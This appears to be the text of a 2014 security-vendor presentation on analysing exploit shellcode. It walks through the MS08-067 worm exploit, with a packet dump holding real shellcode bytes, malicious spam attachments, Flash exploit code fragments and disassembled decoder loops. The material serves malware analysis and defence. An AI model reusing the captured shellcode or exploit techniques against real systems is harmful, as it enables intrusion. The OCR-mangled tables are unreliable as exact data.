

Shellcode Exploit Analysis: Tips and Tricks

Romeo Dela Cruz Techlead - TrendlabsPH September 26, 2014

What is a Vulnerability?

 A security exposure in an operating system or other system software or application software component





SECURITY



What is an Exploit?

 It is a piece of program that takes advantage of a bug, glitch or vulnerability





Sample Program:

🔤 4NT Prompt [C:_Virus]im_A_normal_App.exe sample1.txt Opening sample1.txt for reading... sample1.txt file contains the following: that is the quastion" to he ow not to he [C:_Virus]_



Sample Program:

```
int cdecl main(int argc, const char **argv, const char
**envp)
 if ( argc > 1 )
  printf("Opening %s for reading...\n", argv[1]);
  sub_401000(argv[1]);
 else
  printf("Usage:\n\t%s <text file>\n", *argv);
 return 0;
```



Sample Program:

| intcdecl sub_401000({ HANDLE v1; // edi@1 int result; // eax@2 DWORD v3; // eax@3 | (LPCSTR lpFileName) | | Vulnerab | ility ? <mark>??!!!</mark> | |
|---|---|----------------------------|----------|--------------------------------------|-------------|
| <pre>printf("%s f printf("\n== 03 = GetFile leadFile(v1, loseHandle(printf("%s",</pre> | <pre>ile contains t Size(v1, &File &Buffeet?s, v1); &Buffer);</pre> | the followin SizeHigh); | g:\n\n" | , ip:ileNar =====:=\n"); , 0); | me); ; |
| - 00001008 | Buffer | db 4 | 1096 du | *-\n"); I p(?) | ; |
| v3 = GetFileSize(v1, & ReadFile(v1, &Buffer, CloseHandle(v1); printf("%s", &Buffer); printf("\n==================================== | &FileSizeHigh); v3, &NumberOfBytesRead, 0); ======= | ====\n"); | | | |
| 3/26/17 | 6 | Con | | | END CRO™ |





What is a Shellcode?

 is a small piece of code used as the <u>payload</u> in the <u>exploitation</u> of a software <u>vulnerability</u>







MS08-67: Vulnerability in Server service could allow remote code Execution

The following malware exploit this vulnerability(CVE-2008-4250) for **Network Propagation**:

WORM_DOWNAD WORM_NEERIS

The system infected by this malware initiate an SMB(Server Message Block) session on TCP Port 445 across the Network. Then binds to the SRVSVC(Server Service) pipe using RPC (Remote Procedure Call) Protocol and proceeds to issue the NetPathCanonicalize request, which has the embedded ShellCode.



MS08-67: Vulnerability in Server service could allow remote code Execution

| Z Do | wnad | .pcap - \ | Viresharl | ٢ | | | _ | | | | | |
|---------|-------|-------------------------|--------------------|--------|-------------------|---------|-------------|---------------|------------------|--------------------------|----------|---|
| Eile | Edit | <u>V</u> iew <u>G</u> o | <u>C</u> apture | Analyz | e <u>S</u> tatist | ics Tel | ephon | <u>y T</u> oo | ls <u>H</u> elp | | | |
| | _ @ | | | 3 8 | 2 . | | 40 | ~ - | | . [| | |
| - | | A 1000 100 | e | | | | - | | | | | |
| Filter: | | | | | | | | | | Expr | ession | . Clear Apply |
| No. | L TI | me | Source | | | De | estinat | ion | | Pro | tocol | Info |
| | 10 | . 00000 |) 192. | 168.1 | 01.3 | 1 | 92.1 | 68.10 | 01.190 | т | P | dj-ilm > microsoft-ds [SYN] Seq=0 win=65535 Len=0 MSS=1460 SACK_PERM=1 |
| | 2 0 | .00083 | 5 192. | 168.1 | 01.190 | 1 | 92.1 | .68.10 |)1.3 | т | IP . | microsoft-ds > dj-ilm [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 SACK_PERM=1 |
| | 30 | .00091 | 3 192. | 168.1 | 01.3 | 1 | 92.1 | .68.10 | 01.190 | т | IP | dj-ilm > microsoft-ds [ACK] Seq=1 Ack=1 win=65535 Len=0 |
| | 40 | 01143 | 5 192. | 168.1 | 01.3 | 1 | 92.1 | 68.10 | 1.190 | 51 | 18 | Negotiate Protocol Request |
| | 60 | 01171 | 2 192. | 168 1 | 01.190 | 1 | 92.1 | 68 10 | 1 100 | 51 | 1D AB | Section Setup Andy Request INTERSE NEGATIATE |
| | 7 0 | 029039 | 192. | 168.1 | 01.190 | 1 | 92.1 | 68.10 |)1.3 | - 5N | 1B 1B | Session Setup Andx Response, NIMSSP CHAILENGE, Error: STATUS MORE PROCESSING REQUIRED |
| | 8 0 | .029170 | 192. | 168.1 | 01.3 | 1 | 92.1 | 68.10 | 1.190 | SN | 1B | Session Setup AndX Request, NTLMSSP AUTH, User: \ |
| | 9 0 | .051644 | 192. | 168.1 | 01.190 | 1 | 92.1 | 68.10 | 01.3 | SN | 1B | Session Setup AndX Response |
| | 10 0 | .05189 | 3 192 . | 168.1 | 01.3 | 1 | 92.1 | 68.10 | 01.190 | SM | 1B | Tree Connect AndX Request, Path: \\192.168.101.190\IPC\$ |
| | 11 0 | .060888 | 3 192. | 168.1 | 01.190 | 1 | 92.1 | 68.10 | 01.3 | SN | 1B | Tree Connect AndX Response |
| | 12 0 | .061232 | 2 192. | 168.1 | 01.3 | 1 | 92.1 | 68.10 | 01.190 | SM | 1B | NT Create AndX Request, Path: \srvsvc |
| | 13 0 | .070184 | 192. | 168.1 | 01.190 | 1 | 92.1 | 68.10 | 01.3 | SN | 1B | NT Create AndX Response, FID: 0x0000, Error: STATUS_ACCESS_DENIED |
| | 14 0 | .07046 | 192. | 168.1 | 01.3 | 1 | 92.1 | .68.10 | 01.190 | SN | 1B | NT Create AndX Request, FID: 0x4000, Path: \browser |
| | 15 0 | 0/994 | 192. | 168.1 | 01.190 | 1 | 92.1 | 68.10 | 1.3 | SN DC | 1B | NI Create Andx Response, FID: 0X4000 |
| | 17.0 | 00146 | 3 192. | 168.1 | 01.3 | 1 | 92.1 | 68.10 | 1.190 | | LERPC | Bind: Call_1d: I SRVSVC V3.0 |
| | 18 0 | 09140 | 192. | 168 1 | 01.190 | 1 | 92.1 | 68 10 | 1 1 1 9 0 | | | |
| | 19.0 | 09740 | 3 192. | 168.1 | 01.190 | 1 | 92.1 | 68.10 |)1.3 | | 1000 | and the product of a line in a subscription |
| | 20 0 | .097498 | 192. | 168.1 | 01.3 | 1 | 92.1 | 68.10 | 1.190 | . 5 | R. | SVC NETPATHCANONICALIZE REQUEST |
| | 21 0 | .14027 | 5 192. | 168.1 | 01.190 | 1 | 92.1 | 68.10 | 01.3 | | | ore neer denearorrearize request |
| | 22 0 | .14053 | 192. | 168.1 | 01.190 | 1 | 92.1 | 68.10 |)1.3 | | _ | |
| | 23 0 | .140620 |) 192. | 168.1 | 01.3 | 1 | 92.1 | 68.10 | 01.190 | SN | 1B | Close Request, FID: 0x4000 |
| | 24 C | .14355 | ′ 192. | 168.1 | 01.190 | 1 | 92.1 | 68.10 |)1.3 | SM | 1B | Close Response, FID: 0x4000 |
| | 25 0 | .144332 | 2 192. | 168.1 | 01.3 | 1 | 92.1 | 68.10 | 01.190 | SN | 1B | Logoff AndX Request |
| | 26 0 | .14741 | 192. | 168.1 | 01.190 | 1 | 92.1 | 68.10 | 01.3 | SM | 1B | Logoff AndX Response |
| | 27 0 | .14/48 | 192. | 168.1 | 01.3 | 1 | 92.1 | .68.10 | 01.190 | SN SN | 1B | Tree Disconnect Request |
| | 28 0 | 149/68 | 3 192. | 168.1 | 01.190 | 1 | 92.1 | 68.10 | 1.3 | SN TC | 1B | Iree Disconnect Response |
| | 30.0 | 15110 | 7 192. | 168 1 | 01 190 | 1 | 92.1 | 68 10 | 11 3 | и по то | -P | uj-rnm > microsoft-ds [FIN, ACK] Seq=2040 ACK=2044 Win=05414 Len=0 |
| | 31 0 | .151110 | 192. | 168.1 | 01.3 | 1 | 92.1 | 68.10 | 1,190 | тс | P | di = 1 $m > microsoft - ds [Ack] seq = 2047 Ack = 1905 win = 65414 Len=0$ |
| | | • • • • • • • • • | . 152. | 100.1 | | - | | | | | | al times microsofic as Diani sed for their fors will obtain fello |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| 🗄 Fr | ame | 1: 62 k | ytes or | n wire | e (496 | bits) | , 62 | 2 byte | es cap | tured | (496 | bits) |
| ± Et | hern | et II, | src: st | nuttle | e_b7:c7 | :92 (| 00:3 | 0:1b | :b7:c7 | :92), | Dst: | HonHa1Pr_88:31:45 (00:1c:25:88:31:45) |
| | icern | ec prot | Control | SPC: 1 | 92.168 | . 101. | 3 (1 | .92.10 | 58.101 | | Dot: 1 | .92.108.101.190 (192.108.101.190) |
| | ansii | 133101 | Contro | Prot | .0001, | SIC P | or t : | uj- | () () | 502), | DSUP | or c. miler osor c-us (445), seq. 0, cen. 0 |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| 0000 | 00 | 16.25 | 00 71 4 | F 00 | 20 15 | b7 = | 7 02 | 00 0 | 0 45 4 | 00 | 0/ 1- | |
| 0010 | 00 | 30 c2 | 00 31 4 12 40 0 | 0 80 | 50 ID 06 ec | a2 c | / 92 Da8 | 65 0 | 0 45 0 3 c0 2 | a8 . | 0@ | ······e |
| 0020 | 65 | be od | 22 01 b | d b5 | c1 78 | 05 0 | 00 0 | ŏŏŏŏ | õ 70 d | 02 e | | х. хр. |
| 0030 | ff | ff fa | 62 00 0 | 0 02 | 04 05 | b4 0: | 1 01 | 04 0 | 2 | - | b | |
| | | | | | | | | | | | | |
| - | | | | | | _ | | | | | | |

2 20 0.097498 192.168.101.3 192.168.101.190 SRVSVC NetPathCanonicalize request ■ Frame 20: 846 bytes on wire (6768 bits), 846 bytes captured (6768 bits) Ethernet II, Src: Shuttle_b7:c7:92 (00:30:1b:b7:c7:92), Dst: HonHaiPr_88:31:45 (00:1c:25:88:31:45) Internet Protocol, Src: 192.168.101.3 (192.168.101.3), Dst: 192.168.101.190 (192.168.101.190) ⊕ Transmission Control Protocol, Src Port: dj-ilm (3362), Dst Port: microsoft-ds (445), Seq: 1127, Ack: 887, Len: 792 NetBIOS Session Service SMB (Server Message Block Protocol) (H) SMB Pipe Protocol ■ DCE RPC Request, Fragment: Single, FragLen: 704, Call: 1 Ctx: 0, [Resp: #22] c7 ..%.1E.0E. 0000 00 1c 25 03 40 c2 88 31 45 00 30 1b b7 92 08 00 45 00 03 40 20 22 40 00 80 06 CO a8 .@. @...e... e..".... |p...dP. 0010 e9 84 65 03 c0 a8 Od 0020 65 be 01 bd b5 **c**1 7c 70 15 8d fb 64 50 18 0030 fc 89 91 87 00 00 00 00 03 14 ff 53 4d 42 25 00 00 0040 00 00 00 18 07 **c**8 00 00 00 00 00 00 00 00 00 00 00 08 **C**0 00 00 00 02 0050 00 00 08 80 10 00 **C**0 00т ...т..& ..@....т P.I.P.E. \.... 0060 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 54 c0 02 54 0070 00 00 02 00 26 00 00 40 d1 02 00 5c 00 00 49 õõ **05** 0080 00 45 00 5c 00 00 00 00 00 50 50 00 03 10 00 00 00 c0 02 00 00 01 00 00 00 0090 00 a8 02 00a0 00 00 00 00 **1f** 00 2c 15 f8 00 06 00 00 00 00 00 õõ 48 00 00b0 00 00 06 00 00 48 00 44 00 48 00 48 00 00 00 48 00 00 00 00 00 70 74 6f 49 58 7a 6a 44 45 52 4e 4e 46 53 4a 71 00 00 31 01 00 00 31 01 00 00 5c 00 00c0 0 00d0 68 6a 6a 59 4b 48 67 76 66 62 43 4€ 61 42 47 67 74 74 57 67 44 46 4e 65 55 54 6b 00e0 4c 7a 46 61 78 50 49 oofo 6c 6e 6f 78 4b 65 4f 70 9EPu 59 5ŏ 0100 7 a 4a 51 58 0110 54 78 76 47 4a 47 6e 6d 7a 6b 6c 58 6d 5a 49 46 65 ff 4f ff 76 ff 59 4d ff c1 52 80 6c 31 0120 59 50 6f 55 56 6b 4f 50 4f 4 c 6f 0130 44 48 8d 4e 10 e8 **c**1 5e f5 4f 0140 c4 41 66 81 39 45 50 75 ae **c**6 9d a0 72 4f 85 ea 4f 64 57 c4 47 0150 4f 84 **c**8 84 d8 4f c4 9c CC 49 58 c4 94 0160 c4 2c ed c4 c4 26 3c 4f 38 92 зb d3 c4 f7 96 08 a2 02 **c**3 2c dc 96 4f 03 C 5 0170 c4 c4 16 95 0180 bc ea 95 зb b3 **C**0 96 96 92 96 зb f3 f7 зb 24 69 cf f7 c2 4f 4f 88 0190 95 92 51 4f 8f f8 bc **c**7 Of 32 49 dC d6 ff 17 05 Ff 04 b5 f6 77 c7 fe 95 4f **c**7 04 82 c3 dc c6 86 01 a 0 e4 44 **b1** 31 01 bO 4f 01b0 c4 b6 1b 01c0 73 54 95 e0 **c**7 17 cb d0 b6 85 d8 **c**7 07 4f **c**0 a8 f5 fc c7 07 9a 9d 07 44 68 0c b1 01d0 a4 66 4e b2 e2 b6 5d f2 e7 ac b0 ЬÖ fe a9 ab aa c4 99 1d b4 eb 01 e0 eb 01f0 fd f6 ea f5 fc ea f5 f4 f5 ea f7 fe f6 fc 50 73 53 eb b1 b3 bO b5 af b2 b1 c4 45 4d4f 64 4f0200 fd 0210 6d 43 75 46 71 4b 64 64 71 4c 66 67 55 47 4d 40 59 53 50 63 56 74 79 6e 68 6b 43 62 59 46 0220 45 57 65 0230 53 6a 56 55 65 57 51 48 41 бa 62 43 66 4f 55 65 0240 6d 65 4 a 71 6a 44 4a 54 63 61 72 78 69 67 42 4e 7a 53 79 50 67 4f 65 64 0250 6d 69 63 4c 6d 49 46 4b 47 44 70 6c 41 0260 64 4e 4c 68 61 74 4e 48 58 0270 54 41 75 4e 63 75 4b 57 4d 77 6d 62 73 69 4 a 59 48 4e 77 6f 75 67 70 63 0280 62 78 78 48 48 46 4f 64 6e 47 70 79 55 51 7a 71 65 4a 6f 68 0290 68 41 56 70 02a0 77 72 64 4c 73 71 6c 79 6a 62 54 4d 6f 53 74 56 64 55 4b 4c 4 a 4 a 6c 47 68 02b0 6c 2e 00 2e 00 2e 55 02c0 4f 4e 5a 62 5c 00 2e 00 5c 00 00 47 27 00 41 00 ŏŏ 45 00 4d 00 49 õõ 00 f7 ŏč 02d0 5c 59 02e0 08 04 02 00 e2 16 89 6f 46 41 52 57 59 88 6f 02f0 44 45 53 42 50 48 59 52 43 53 4e 41 45 49 49 45 0300 4 c 47 5 a 4 a 49 41 59 5a 47 4e 97 47 41 58 53 46 0310 55 5a 45 57 53 43 55 46 58 4e 92 4a 24 b6 03 0320 f5 37 eb 62 41 55 46 44 4f 49 4b 4e 4f 46 00 00 0330 00 00 1f 03 00 00 02 00 00 00 00 00 00 00 02 00 0340 00 00 5c 00 00 00 01 01 00 00 00 00 00 00 ..\....



| Hiew: shellcode.bin | | - • × |
|---------------------|--|-------------------------|
| shellcode hin | 1FR0 00000066 High 7 2 | Ø (c)SEN |
| 00000006: 20 24 | 5F 49-4B 48 67 76-66 62 43 4E-61 42 47 67 nto I KHau | £ bCNaBGg |
| 00000016: 58 70 | 6A 44-4C 57 67 44-46 4E 65 55-6C 6E 6F 74 Åz iDLWgD | FNelllnot |
| 00000026: 45 52 | 4F 4F-28 4B 65 7A-70 61 50 54-7A 4A 51 74 ERNN×Kez | naPTzJQt |
| 00000036: 46 53 | 40 21-58 59 4F 46-50 28 49 6B-54 28 26 47 FSJaXYOF | PylkTyuG |
| 00000046: 4A 47 | 6F 6D-20 6F 6C 58-6D 50 49 46-59 50 6F 55 JGnmzkl& | mZIFYPoll |
| 00000056: 56 65 | 4F 76-59 4D 6B 4F-50 4F 52 6D-44 4C 6F 48 | |
| | FF FF-FF C1 5E 8D-4E 10 80 31-C4 41 66 81 3 +^) | NEC1-Afii |
| 00000076: 39 45 | 50 25-F5 AE C6 9D-A0 4F 85 EA-4F 84 C8 4F 9EPuJ«H | áoàΩoä ^L O |
| 00000086: 84 D8 | 4F C4-4F 9C CC 49-72 58 C4 C4-C4 2C ED C4 a+0-0EllI | rXø- |
| 00000096: C4 C4 | 94 26-3C 4F 38 92-3B D3 57 47-02 C3 2C DC | : WGOF |
| 000000A6: C4 C4 | C4 F7-16 96 96 4F-08 A2 03 C5-BC EA 95 3B | □ 6♥+੫Ωδ; |
| 000000B6: B3 C0 | 96 96-95 92 96 3B-F3 3B 24 69-95 92 51 4F 4ûûòffû; | ≤;\$iòÆQÓ |
| 000000C6: 8F F8 | 4F 88-CF BC C7 0F-F7 32 49 D0-77 C7 95 E4 źOê븨() | ≈2I ^{⊥µ} wllòΣ |
| 000000D6: 4F D6 | C7 17-F7 04 05 04-C3 F6 C6 86-44 FE C4 B1 0π ±≈♦♀ | H÷ ⊨&D ï – |
| 000000E6: 31 FF | 01 B0-C2 82 FF B5-DC B6 1B 4F-95 E0 C7 17 1 Stré 4 | -ll€0òαll‡ |
| 000000F6: CB 73 | DØ <u>B6-4F 85</u> D8 C7-07 4F CØ 54-C7 07 9A 9D 🖬 🕁 🏎 🖓 🖓 🖓 🖓 | -Ö└T +Ű¥ = |
| 00000106: 07 A4 | 66 4E-B2 E2 44 68-0C B1 B6 A8-A9 AB AA C4 🖬 👬 🕅 Dh | ♀◎ と゠%ヮ゠ |
| 00000116: 5D E7 | 99 1D-AC BO BO B4-FE EB EB F5-FD F6 EA F5]70+% | ∎δδJ2÷ΩJ |
| 00000126: F2 FC | EA F5-F4 F5 EA F7-FE F6 FC FC-FD EB B1 B3 ≥"ΩJſJΩ≈ | i÷ ⁿⁿ² δ∭ |
| 00000136: B0 B5 | AF B2-B1 C4 45 50-4D 4F 64 4F-6D 43 75 46 🛛 🖓 🐭 – EP | MOdOmCuF |
| 00000146: 71 4B | 64 64-71 4C 66 73-67 55 4D 4C-45 56 59 53 Junuary 5 | SOUTHERAD |
| 00000156: 50 74 | <u>6E 68-6B 43 6</u> 2 53-59 47 63 46-53 6A 56 57 PtnhkCbS | YGcFSjUW |
| 00000166: 55 79 | <u>65 57-51 48 4</u> 1 6A-62 65 43 6E-4E 6D 65 4A UyeWQHAj | beCnNmeJ |
| 📕 00000176: 71 6A | 44 4A-54 63 61 72-4F 69 67 42-6D 7A 69 79 qjDJTcar | OigBmziy |
| 00000186: 50 63 | 4C 6D-49 46 4B 78-55 4F 64 73-64 53 4E 44 PcLmIFK× | UOdsdSND |
| 📕 00000196: 67 4C | <u>68 61-47 74 4</u> E 6C-65 65 48 4B-54 41 75 70 gLhaGtNl | eeHKTAup |
| 📕 000001A6: 4E 63 | 75 4B-57 4D 77 6D-62 69 4A 5A-59 48 62 78 NcuKWMwm | biJZYHbx |
| 📕 000001B6: 48 48 | 46 4F-64 6E 67 47-73 79 51 5A-4E 77 68 78 HHFOdngG | syQZNwhx |
| 000001C6: 7A 41 | 56 6F-65 4A 70 70-68 55 70 65-6F 75 77 64 zAVoeJpp | hÜpeouwd |
| 000001D6: 71 4C | 73 71-6C 79 63 6A-62 54 70 53-4D 6F 72 53 qLsqlycj | bTpSMorS |
| 000001E6: 74 56 | 64 55-6C 4B 4C 4A-4A 6C 47 68-4F 4E 5A 62 tVdU1KLJ | J1Gh0NZb |
| 000001F6: 5C 00 | 2E 00-2E 00 5C 00-2E 00 2E 00-5C 00 41 00 🚿 🔒 🔊 | <u>N</u> . <u>A</u> |
| 00000206: 59 00 | 45 00-4D 00 49 00-47 00 55 00-08 04 02 00 Y E M I | G U 🔤 🖶 |
| 00000216: E2 16 | 89 6F-46 41 52 59-27 F7 88 6F-44 45 53 42 F_eofary | 'ŐoDESB |
| 00000226: 50 48 | 59 52-43 53 57 4E-41 45 49 49-4C 41 58 45 PHYRCSWN | AEIILAXE |
| 00000236: 47 58 | 4A 49-53 46 41 59-5A 47 4E 47-55 5A 45 57 GZJISFAY | ZGNGUZEW |
| 00000246: 53 43 | 55 46-58 4E 92 4A-24 B6 97 03-F5 37 EB 62 SCUFXNHJ | \$¶ù♥J?ðb |
| 00000256: 41 55 | 46 44-4F 49 4B 4E-4F 46 00 00-00 00 1F 03 HUFDOIKN | OF V |
| 00000266: 00 00 | | |
| 00000276: 00 00 | 01 01-00 00 00 00-00 00 00 00-03 7C FF 53 🙂 | • i S |
| 00000286: 40 42 | 25 00-00 00 00 98-07 C8 00 00-00 00 00 00 mbx y | |
| | 00 00-00 00 08-C0 00 00 08-80 00 0H 00 DH | |
| | 03 00-00 00 00 38-00 00 00 44-03 38 00 00 | D48 |
| | 00 45-03 00 05 00-02 03 10 00-00 00 44 03 | |
| | 01 00-00 00 2C 03-00 00 00 00-00 00 1F 03 | |
| | <u>00 00 00 00 00 00 00 00 00 00 00 00 00 </u> | |
| | <u> </u> | |
| | | |



3/26/17





Exploit Malware Arrival

Spammed E-mail

| 🖻 Messag | Message is infected : Invoice 474735 April - Unicode (UTF-8) | | | | | | | | | |
|--|---|--|---|--------------------------------------|---|------------------|-------------------------------|---------------|----------------|----------------------|
| File Edi | t View | Tools M | essage Help | | | | | | | |
| See In the second secon | Reply All | 98 Forward | Print | X Delete | Previous | W Next | Addresses | | | _ |
| From: Date: To: Subject: | withoutve Tuesday, isiskuo@ Message | en79@mees May 06, 20 evergreen.o is infected | conssolicitors.c 14 4:09 PM com.tw; dmdrt2 Invoice 47473 | o.uk @evergree 5 April | n.com.tw; dav | idchiu@ev | ergreen.com.tw; | uhd@evergreer | n.com.tw; bldt | twn@evergreen.com.tw |
| Attach: | 🖬 April i | nvoice 5069 | 00.pdf (11.0 K | B) | | | | | | |
| Hello, | Hello, | | | | | | | | | |
| Please of Kind Reg Sue Mocl Accounts A ' (Main) 0 Please of Broad Oak Registered Telephone: Facsimile: + | can you ards kridge Administrat 1884 242 onsider Toiletries L No. 19710 +44 (0) 188 | let me ha or '626 ' (Dire the envir td, Tiverton 53 England 184 242626 14 242602 | ave a paym ect Dial) 018 onment be , Tiverton Way & Wales | ent date 84 250764 Tiverton Bu | for the attac ing Jainess Park, T | ched Apr | ril Invoice? von, EX16 6TG | | | |

Type: Adobe PDF Vulnerability: CVE-2013-2729 Trend Micro: TROJ_PIDIEF.YNLA

Spammed E-mail

| 🖴 Press R | Release & Consensus: «Resolution of Tibet issue rel | evant to China's future» - Unicode (UTF-8) |
|--|--|--|
| File Edi | Edit View Tools Message Help | |
| See Reply | Reply All Forward Print Delete Previous | Next Addresses |
| From: Date: To: Subject: | Tibet Press Monday, September 01, 2014 4:35 PM dtsering@dalailama.com : Press Pelesse & Conservue: "Peoplution of Tibet issue releva | nt to China's future» |
| Attach | Statement of Consensus.doc (90.0 kB) | |
| *«Resolutio Finding Con Hamburg - 26 August Tibetan Adr conference Europe, the the confere motion a pr between Ti just resolut | ution of Tibet issue relevant to China's future» * Common Ground - Sino-Tibetan Conference g - The Sino-Tibetan Conference «Finding Common Ground» starting ist 2014 concluded this afternoon in Hamburg, Germany. The Centre Administration (CTA) based in Dharamshala (India) convened the nce. Over 70 participants and observers from 15 countries from the USA, Australia, Asia and Mainland China attended ference. «Finding Common Ground» is a Tibetan initiative to set in process of exchange, interaction, cooperation and joint efforts in Tibetans and Chinese stakeholders in the pursuit of a peaceful an olution of the Tibet issue. | g on al |
| His Holines clear that h brothers ar to serve Ma promotion o on a pilgrim | ess the Dalai Lama met the participants of the conference and mad the had always encouraged Tibetans to reach out to Chinese and sisters. In his address at the meeting, he expressed his hope Mainland Chinese Buddhists through Buddhist teachings and the on of secular ethics. He also reiterated his longstanding wish to go rimage to Wu Tai Shan - a sacred mountain in China for Buddhists. | ie |

Type: Microsoft Document Vulnerability: CVE-2012-0158 Trend Micro: EXPL_CVE20120158





MS12-027: Vulnerability in Windows Common Controls Could Allow Remote Code Execution

CVE2012-0158 is the most exploited vulnerability by targeted attacks (2H of 2013)





MS12-027: Vulnerability in Windows Common Controls Could Allow Remote Code Execution

Also known as MSCOMCTL ActiveX Stack Buffer Overflow (CVE-2012-0158)

A crafted office document/RTF file exploits the vulnerability in MSCOMCTL.OCX



MS12-027: Vulnerability in Windows Common Controls Could Allow Remote Code Execution

Sha1: 6c74fd27078ae791696791e6c3b11b94ad460d02 Trend Micro: TROJ_MDROP.ERAQ

Drop and **Execute** the following file in %User Temp%:

Sha1: 2c37b1940b0c8f5d9d245a6039b43b2270d64086 Trend Micro: TROJ_DROPER.ERAQ









Most prevalent Web Threat to deliver malicious payload which is usually known-malware like Zues, Ransomware, FakeAV etc.) to the infected system

Hosted from malicious and compromised site Delivers old and new(Zero-Day Vulnerability) Exploit of known vulnerable application





Zero-Day Vulnerability in Adobe Flash Player found in February 2013.

Known to be delivered by the following Exploit Kit:

Gondad Exploit Pack RIG Exploit Kit



Also known as Adobe Flash Player Regular Expression Heap Overflow

A crafted SWF(Adobe Flash File) exploits the vulnerability found in Active X component of Adobe Flash Player



Sha1: 3cd56071b78e2f8489a4b71e0f0beec805f0bf4a Trend Micro: SWF_EXPLOIT.JD

Drop and **Execute** the following file in %User Temp%:

Sha1: 6dd3c032a6dfe06c4f7dbeb2e0452ae9fb84ecce(32-bit) Sha1: b3d97e77ea593915798b8f3df0ef7f4a34924a87(64-bit) Trend Micro: TROJ_DLOAD.LD/ TROJ64_DLOAD.LD



Sha1: 3cd56071b78e2f8489a4b71e0f0beec805f0bf4a Trend Micro: SWF_EXPLOIT.JD



```
switch(this.version)
{
    case "win 11,5,502,146":
        break;
    case "win 11,5,502,135":
        break;
    case "win 11,5,502,110":
        break;
    case "win 11,4,402,287":
        break;
    case "win 11,4,402,278":
        break;
    case "win 11,4,402,265":
        break;
    default:
        return empty();
}
```







Shellcode Analysis

Locating Shellcode:

- 1. JUMP/CALL Instructions
 - a) eb (Short Jump)
 - b) e9 (Long Jump)
 - c) e8 (Call)
- 2. NOP Sled (90 90)
- 3. Function Prologue (55 8b ec)



| 00017831: | EEOD | jmps | 000017840+ (1) |
|-----------|-----------|-------|----------------|
| 00017833: | 5E | pop | esi |
| 00017834: | 56 | push | esi |
| 00017835: | 8BFE | mov | edi,esi |
| 00017837: | AC | lodsb | |
| 00017838: | C0C004 | rol | al,4 |
| 0001783B: | AA | stosb | |
| 0001783C: | 49 | dec | ecx |
| 0001783D: | 75F8 | .ine | 0000178371 (2) |
| 0001783F: | C3 | retn | 0000/8000 |

| 00004E04: 90 | nop | |
|--------------------|------|-----------------|
| 00004E05: 90 | nop | |
| 00004E06: 90 | nop | |
| 00004E07: 90 | nov | |
| 00004E08: 90 | non | |
| 00004E09: 90 | non | |
| 00004F0A: 90 | non | |
| 00004F0R: 90 | nop | |
| 00004E0C- 90 | nop | |
| 00001E00- 70 | nop | |
| 00001200-70 | nop | |
| 00004E0E- 30 | pusn | eax |
| 00004E0F: 58 | pop | eax |
| 00004E10: 57 | push | edi |
| 00004E11: 5F | pop | edi |
| 00004E12: EB10 | jmps | 000004E24↓ (1) |
| 00004E14: 90 | nop | |
| 00004E15: 33C9 | xor | ecx,ecx |
| 00004E17: 5B | pop | ebx |
| 00004E18: 66B9B001 | mov | cx.001B0 ;'⊡%' |
| 00004E1C: 803345 | xor | b.[ebx] 045 'E' |
| 00004E1F: 43 | inc | ebx |
| 00004F20: F2FA | loon | 00004F1C1 (2) |
| | TOOD | |



| 239795 | 8.DOC-1 +FRO - | | 32 | 00002460 Hiew 7.20 (c |
|-------------------|----------------|------------|---|----------------------------|
| 00002460: | 90 | nop | | |
| 00002461: | 20 | nop | | |
| 00002462: | 90 | nop | | |
| 00002463: | 20 | nop | | |
| 00002464: | 90 | nop | | |
| 00002465: | 20 | nop | - 1 | |
| 00002466: | 55 9DEC | push | enp | |
| 00002467: | 82C404 | nov add | enp,esp | 4 .181 |
| 00002467 | 030484 | auu | b Lobell-E0 | |
| 00002400- | C745D00517007C | mou | $d \left[abp \right] \left[-20 \right]$ | |
| 00002477 | C745D498FF860F | mou | $d \left[ehn \right] \left[-2C \right]$ | |
| 0000247F | C245D81F290AF8 | mou | $d \left[ehn \right] \left[-28 \right]$ | 0E800791E 'Olur' |
| 00002485: | C745DCAC08DA26 | mou | d = [ehn][-24] | 076D0080C 'u 0%' |
| 0000248C: | C745E0A628A096 | mov | d.[ebp][-20] | 096A028A6 'ûá(≌' |
| 00002493: | C745E41665FA10 | mov | d.[ebp][-1C | 010FA6516 '≻·e_' |
| 0000249A: | C745E8AD9B7DDF | mov | d.[ebp][-18] | ODF7D9BAD |
| 000024A1: | C745ECFB97FDØF | mov | d,[ebp][-14] | 1,00FFD97FB ;'*²ù√' |
| 000024A8: | C745F0EC97030C | mov | d,[ebp][-10] | ,00C0397EC ;'♀♥ù∞' |
| 000024AF: | C745F433CA8A5B | mov | d,[ebp][-0C] | 1,05B8ACA33 ;'[èੁੁੁੁ́··3' |
| 000024B6: | C745F84F03C7BF | mov | d,[ebp][-08] | ,0BFC7034F ;'ı ♥0' |
| 000024BD: | C745C800000000 | mov | d,[ebp][-38] | ,0 |
| 000024C4: | C745C42E657865 | mov | d,[ebp][-3C] | .06578652E ; exe. |
| 000024CB: | 07450064726167 | MOV | d, Lebp IL-40. | 067617264 ; gard' |
| 000024D2: | C745B800300000 | mov | d, lebp JI-48 | |
| | | | | |
| | | | | 200000000 |
| 00002E01: | EBIC | | jmps | $000002E1F \downarrow (1)$ |
| 00002E03: | 3300 | | xor | eax,eax |
| 00002E05: | 5E | | 000 | esi |
| 00002E06 : | SBFE | | mou | edi.esi |
| 00002509- | 3309 | | YON | |
| 00002100 - | D1 D0 | | X01 | |
| OOOOOZEOH: | D17H | | MOV | C1,07H ; 2 |
| NNNNSENC: | 8502 | | mov | ch, <mark>2</mark> |
| 00002E0E: | AC | | lodsb | |
| 00002E0F: | 51 | | push | ecx |
| 00002E10: | 90 | | non | |
| 00002E11 - | C0C004 | | nol | al 4 |
| 00002111 | PEC4 | | ine | |
| 00002E14: | FEG1 | | TUC | CI |
| 00002E16: | 59 | | pop | ecx |
| 00002E17: | AA | | stosb | |
| 00002E18: | E2F4 | | 1000 | 000002E0E1 (2) |
| ИИИИ2E1A: | E80500000 | | call | 00002E241 (3) |
| 0000014 1- | EONEDEDEDED | | 11 | 0000001001 U |



Reverse Engineering

- 1. Gather tools to be used:
 - a) Virtual Machine(Test Environment)
 - b) System Monitoring tool
 - c) File Identifier
 - d) Installer of the possible vulnerable application
 - e) File Debugger

2. Debug the Application with the malware as the argument



Reverse Engineering(Alternative)

- 1. Gather tools to be used:
 - a) Virtual Machine(Test Environment)
 - b) System Monitoring tool
 - c) File Identifier
